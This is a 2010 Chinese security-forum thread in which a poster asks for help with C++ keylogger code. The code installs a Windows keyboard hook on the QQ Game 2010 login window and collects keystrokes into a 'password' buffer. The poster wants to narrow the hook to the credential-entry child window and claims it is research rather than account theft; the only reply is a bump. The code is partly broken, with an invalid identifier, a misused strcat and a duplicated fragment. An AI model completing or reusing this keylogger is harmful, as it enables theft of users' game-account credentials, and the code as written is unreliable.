首页
社区
课程
招聘
[旧帖] [求助]急急急。。高手帮帮我··· 0.00雪花
发表于: 2010-9-1 01:04 1081

[旧帖] [求助]急急急。。高手帮帮我··· 0.00雪花

2010-9-1 01:04
1081
#include "stdafx.h"
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam,LPARAM lParam);
char password[29];
void ok(char ii);
#pragma data_seg("Shared")
static HHOOK hkb=NULL;
HMODULE hins=NULL;
#pragma data_seg()

HMODULE WINAPI ModuleFromAddress(PVOID pv)
{
  MEMORY_BASIC_INFORMATION mbi;
  if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)
  {
    return (HMODULE)mbi.AllocationBase;
  }
  else
  {
    return NULL;
  }
}

extern   "C"   _declspec(dllexport)BOOL installhook()
{HWND hDesktop = FindWindowEx(NULL,NULL, NULL ,TEXT("QQ游戏2010"));

HWND TY=GetWindow(hDesktop,GW_CHILD);

DWORD   dwThreadId   =   GetWindowThreadProcessId(TY,   NULL)   ; //qq游戏输入用户名的子窗口。。
DWORD   1dwThreadId   =   GetWindowThreadProcessId(hDesktop,   NULL)   ; //QQ游戏总窗口·也是父窗口。

  hkb = ::SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,ModuleFromAddress(KeyboardProc),dwThreadId);//在这里 我发现不管是传dwThreadId,或1dwThreadId,截获的消息却都是属于hDesktop,也就是1dwThreadId。
  if (hkb == NULL)
  {
    return FALSE;
  }
  else
  {
    return TRUE;
  }
  

}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

{
  if(nCode < 0 || nCode == HC_NOREMOVE)
    return ::CallNextHookEx(hkb, nCode, wParam, lParam);
  
        if(lParam & 0x40000000)
  {
    return ::CallNextHookEx(hkb, nCode, wParam, lParam);
  }
  BYTE bKeyState[256];
unsigned short uAscii;

  GetKeyboardState(bKeyState);
  

  ToAscii(wParam,0,bKeyState, &uAscii,0);

  
  char ty,password[30]=TEXT("密码:");
  

  
     ty=(char)uAscii;

   ok(ty);
  return ::CallNextHookEx(hkb,nCode,wParam,lParam);

}

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
           )
{
   
  return TRUE;
}

void ok(char ii)
{
  strcat(password,&ii);
  MessageBox(NULL,password,password,0);

}

HWND hDesktop = FindWindowEx(NULL,NULL, NULL ,TEXT("QQ游戏2010"));

HWND TY=GetWindow(hDesktop,GW_CHILD);

DWORD   dwThreadId   =   GetWindowThreadProcessId(TY,   NULL)   ; //qq游戏输入用户名的子窗口。。
DWORD   1dwThreadId   =   GetWindowThreadProcessId(hDesktop,   NULL)   ; //QQ游戏总窗口·也是父窗口。

  hkb = ::SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,ModuleFromAddress(KeyboardProc),dwThreadId);//在这里
  //我发现不管是传dwThreadId,或1dwThreadId,截获的消息却都是属于hDesktop,也就是1dwThreadId。请问高手如何得到子窗口也就是TY,1dwThreadId,假设我想截获子窗口的消息,而不是所有属于父窗口下所有子窗口的消息怎么做????
  //请指教??????本人属于研究并不是为了盗号·请高手帮我解决一下子·本菜鸟·很苦恼!!!

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 91
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
不懂,帮你顶下
2010-9-1 07:55
0
游客
登录 | 注册 方可回帖
返回
//